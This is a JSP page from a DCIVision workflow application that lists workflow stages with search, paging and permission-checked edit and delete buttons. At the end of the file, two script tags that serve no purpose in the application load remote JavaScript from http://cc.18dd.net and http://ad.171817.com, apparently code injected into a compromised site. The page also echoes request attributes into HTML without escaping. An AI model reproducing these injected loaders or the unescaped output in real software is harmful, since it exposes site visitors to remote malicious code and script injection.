<%
/*
 * @(#)ListWorkflowStage.jsp
 *
 * Copyright (c) 2005 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  ListWorkflowRecord.jsp

  This is a ListWorkflowRecord page.  It shows the active workflow records' record in EIP.

    @author             Dick Xie
    @company            DCIVision Ltd
    @creation date      30/05/2005
    @version            $Revision: 1.16.4.7 $
*/

%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.util.ArrayList"%>
<%@ page import="java.util.List"%>
<%@ page import="java.sql.*"%>
<%@ page import="java.util.Locale"%>
<%@ page import="com.dcivision.workflow.bean.*"%>
<%@ page import="com.dcivision.workflow.dao.*"%>
<%@ page import="com.dcivision.workflow.bean.*"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listWorkflowStageForm" scope="request" class="com.dcivision.workflow.web.ListWorkflowStageForm"/>
<%
  /****************************************************************************
   * List Attributes Configuration Begin
   ****************************************************************************/
  String      LIST_NAME = "workflowStageList";

  String[][]  LABEL_MAP = { {"ID", "ID"},
                            {"workflow.columnheader.workflow_code", "WORKFLOW_RECORD_ID"},
                            {"workflow.columnheader.stage_name", "STAGE_NAME"},
                            {"workflow.columnheader.duration", "DURATION"},
                            {"workflow.columnheader.create_date", "CREATE_DATE"},
                            {"common.columnheader.update_date", "UPDATE_DATE"},
                            {"common.columnheader.updater", "UPDATER_ID"}
                          };

  String[][] SEARCH_MAP = { {"workflow.columnheader.stage_name", "STAGE_NAME"},
                            {"workflow.columnheader.workflow_code", "WORKFLOW_CODE"}

                          };

  int     COLUMN_OFFSET = 2;
  List workflowRecordList = (List) request.getAttribute("workflowRecordList");
   String[][] workflowRecordArr = new String[workflowRecordList.size()+1][2];

   workflowRecordArr[0][0] = MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "common.options.select_menu.select_one");
   workflowRecordArr[0][1] = "";
   for (int i=0; i<workflowRecordList.size(); i++) {
    WorkflowRecord workflowRecord = (WorkflowRecord) workflowRecordList.get(i);
    workflowRecordArr[i+1][0] = workflowRecord.getWorkflowCode() + "[" + workflowRecord.getWorkflowVersion() + "]";
    workflowRecordArr[i+1][1] = workflowRecord.getID().toString();
   }

   WorkflowGroup currentGroup = (WorkflowGroup)request.getAttribute("workflowGroup");
  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/




%>
<!-- Form Section Begin -->
<html:form action="workflow/ListWorkflowStage" method="POST">
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>
<html:hidden property="workflowGroupID"/>
<html:hidden property="flag"/>
<html:hidden property="action" value="searchStage"/>
<!-- Page Title Section Begin -->
<!-- TODO: Page Title -->
<layout:titleFormat><font class="pageTitle"><layout:pageTitle/>[<%=request.getAttribute("groupName")%>]<%if(!Utility.isEmpty(request.getAttribute("recordName"))&&!Utility.isEmpty(listWorkflowStageForm.getWorkflowRecordID())){%>[<%=request.getAttribute("recordName")%>]<%}%> </font>
<layout:returnButton>
ListWorkflowRecord.do?opMode=<%=GlobalConstant.OP_MODE_LIST_RETAIN%>
</layout:returnButton>
</layout:titleFormat>
<!-- Page Title Section End -->

<!-- Search Panel Begin -->
<table cellpadding="2" cellspacing="0" border="0" width="100%" height="40" background="<html:img src='LayoutFinderBg.gif'  pathOnly='true'/>">
  <tr>
    <td width="80">
      <nobr>&nbsp;&nbsp;<html:img src='IconFinder.gif' /><b>&nbsp;<bean:message key='common.label.search'/></b></nobr>
    </td>
    <td>
      <html:select property="basicSearchField" onkeypress="onKeyPress();">
      <html:options stringArray='<%=SEARCH_MAP%>'/>
      </html:select>
      <html:select property='basicSearchType' onkeypress="onKeyPress();">
        <html:options listName='criteriaList'/>
      </html:select>
      <html:text property='basicSearchKeyword' size='25' maxlength='100' onkeypress="onKeyPress();"/>
      <html:standardButton label="common.label.search" onClick="return OpList(listWorkflowStageForm, '${listWorkflowStageForm.sortAttribute}', '${listWorkflowStageForm.sortOrder}')"/>
      <html:standardButton label="common.label.reset" onClick="return thisOpListReset(listWorkflowStageForm)"/>
    </td>
  </tr>
</table>
<!-- Search Panel End -->
<table cellpadding="20" cellspacing="0" border="0" width="100%"><tr><td>
<!-- Table Heading Begin -->
<table cellpadding="3" cellspacing="0" border="0" width="100%">
  <tr>
    <td>
      <%if(!Utility.isEmpty(request.getAttribute("recordName")) && !Utility.isEmpty(request.getAttribute("canNew")) &&  ((String)request.getAttribute("canNew")).equals("Y")&&!Utility.isEmpty(listWorkflowStageForm.getWorkflowRecordID())){%>
      <html:permissionButton label="common.label.new" right='I' objectType="W" objectID="<%=currentGroup.getID()%>" link="MaintWorkflowStage.do?navMode=N&workflowRecordID=${listWorkflowStageForm.workflowRecordID}&workflowGroupID=${listWorkflowStageForm.workflowGroupID}"/>
      <%}else{%>
      <html:standardButton label="common.label.new" disable="true"/>
      <%}%>
      <%if (!Utility.isEmpty((List)request.getAttribute(LIST_NAME)) && !Utility.isEmpty(request.getAttribute("recordName"))&&!Utility.isEmpty(listWorkflowStageForm.getWorkflowRecordID())) {%>
      <html:permissionButton label="common.label.edit" right='E' objectType="W" objectID="<%=currentGroup.getID()%>" link="ListWorkflowStepAndStage.do?navMode=N&action=searchStage&workflowRecordID=${listWorkflowStageForm.workflowRecordID}&workflowGroupID=${listWorkflowStageForm.workflowGroupID}"/>
      <%} else {%>
      <html:standardButton label="common.label.edit" disable="true"/>
      <%}%>
    </td>

    <td align="right">


      <bean:message key='workflow.lable.workflow_record'/>:&nbsp;
      <% String onchangeFunction = "return(OpList(listWorkflowStageForm, '"+listWorkflowStageForm.getSortAttribute()+"', '"+listWorkflowStageForm.getSortOrder()+"'))";%>
      <html:select property="workflowRecordID" onchange="<%=onchangeFunction%>">
        <html:options stringArray='<%=workflowRecordArr%>' convertLabel='false' hasSelect='false'/>
      </html:select>
    </td>
  </tr>
</table>
<!-- Table Heading End -->

<!-- Table Showing Record List Begin -->
<table class="mainTable" cellpadding="0" cellspacing="0" border="0" width="100%"><tr><td><table cellpadding="3" cellspacing="1" border="0" width="100%">
  <!-- Table Column Header Begin -->
  <tr>
  <layout:columnHeader form="listWorkflowStageForm" labelMap="<%=LABEL_MAP%>" sortAttribute="<%=listWorkflowStageForm.getSortAttribute()%>" sortOrder="<%=listWorkflowStageForm.getSortOrder()%>" copyColumn="false"/>
  </tr>
  <!-- Table Column Header End -->
  <!-- Record Looping Begin -->
  <logic:iterate id="workflowStage" name="<%=LIST_NAME%>" scope="request" indexId="listLoopCnt">
  <tr onmousedown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', <%=((AbstractBaseObject)workflowStage).getID()%>);">
    <td align="center">
      <logic:permission right='D' objectType="W" objectID="<%=currentGroup.getID()%>">
      <input type="checkbox" name="basicSelectedID" value="<bean:write name='workflowStage' property='ID'/>" onclick="return(false);">
      <html:img src='IconCheckboxDisable.gif'  align='absmiddle' styleClass='disabledCheckbox'/>
      </logic:permission>
    </td>
    <td align="center">
      <logic:permission right='E' objectType="W" objectID="<%=currentGroup.getID()%>">
      <a href="MaintWorkflowStage.do?navMode=E&workflowRecordID=<bean:write name='workflowStage' property='workflowRecordID'/>&workflowStageID=<bean:write name='workflowStage' property='ID'/>&groupName=<%=request.getAttribute("groupName")%>&recordName=<%=request.getAttribute("recordName")%>"><html:img src='IconEdit.gif'  align='absmiddle'/></a>
      <html:img src='IconEditDisable.gif'  align='absmiddle'/>
      </logic:permission>
    </td>
    <%Connection conn = (Connection)request.getAttribute(GlobalConstant.DB_KEY);
    WorkflowRecordDAObject recordDAO = new WorkflowRecordDAObject(sessionContainer, conn);
    WorkflowRecord workflowRecord = (WorkflowRecord)recordDAO.getObjectByID(((WorkflowStage)workflowStage).getWorkflowRecordID());

    %>
    <td nowrap><%=workflowRecord.getWorkflowCode()%>
    </td>
    <td><bean:write name='workflowStage' property='stageName'/></td>

    <td><bean:write name='workflowStage' property='duration'/></td>
    <td><bean:write name='workflowStage' property='createDate' format='<%=TextUtility.getDateTimeFormat().toPattern()%>'/></td>
    <td class="bodyVerySmall" nowrap><bean:write name='workflowStage' property='updateDate' format='<%=TextUtility.getDateTimeFormat().toPattern()%>'/></a></td>
    <td class="bodyVerySmall"><bean:write name='workflowStage' property='updaterName'/></td>
  </tr>
  </logic:iterate>
  <!-- Record Looping End -->
  <!-- Pager Information Begin -->
  <layout:pager form="listWorkflowStageForm" name='<%=LIST_NAME%>'>
  <tr>
    <td colspan="<%=LABEL_MAP.length+COLUMN_OFFSET%>">
      <table width="100%" cellpadding="0" cellspacing="0" border="0">
        <tr>
          <td width="200">
            <html:permissionButton label="common.label.delete" right="D" objectType="W" objectID="<%=currentGroup.getID()%>" onClick="return OpListDelete(listWorkflowStageForm)"/>
          </td>
          <td align="center">
            <layout:pagerInfo/>
          </td>
          <td width="200" align="right">
            <nobr><layout:pagerIndex/></nobr>
          </td>
        </tr>
      </table>
    </td>
  </tr>
  </layout:pager>
  <!-- Pager Information End -->
</table>
</td></tr></table>
<!-- Table Showing Record List End -->
<center>
<br>
</center>
</td></tr></table>
</html:form>
<!-- Form Section End -->
<script language="JavaScript">
function onKeyPress(){
if(event.keyCode==13)OpList(listWorkflowStageForm, '<bean:write name='listWorkflowStageForm' property='sortAttribute' replace=''/>', '<bean:write name='listWorkflowStageForm' property='sortOrder' replace=''/>');
}

function thisOpListReset(frm) {
  if (!frm) {
    for (var i = 0; i < document.forms.length; i++) {
      if (document.forms[i].name != "") {
        frm = document.forms[i];
        break;
      }
    }
  }
  //frm.sortAttribute.value = '';
  //frm.sortOrder.value = '';
  frm.basicSearchField.value = '';
  if (frm.basicSearchType) {
    frm.basicSearchType.selectedIndex=0;
  }
  frm.basicSearchKeyword.value = '';
  frm.curStartRowNo.value = 1;
  //add by sars
  frm.flag.value ="reset";
  frm.navMode.value = NAV_MODE_LIST;
  frm.submit();
  return false;
} // end of the 'OpListReset()' function

</script>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>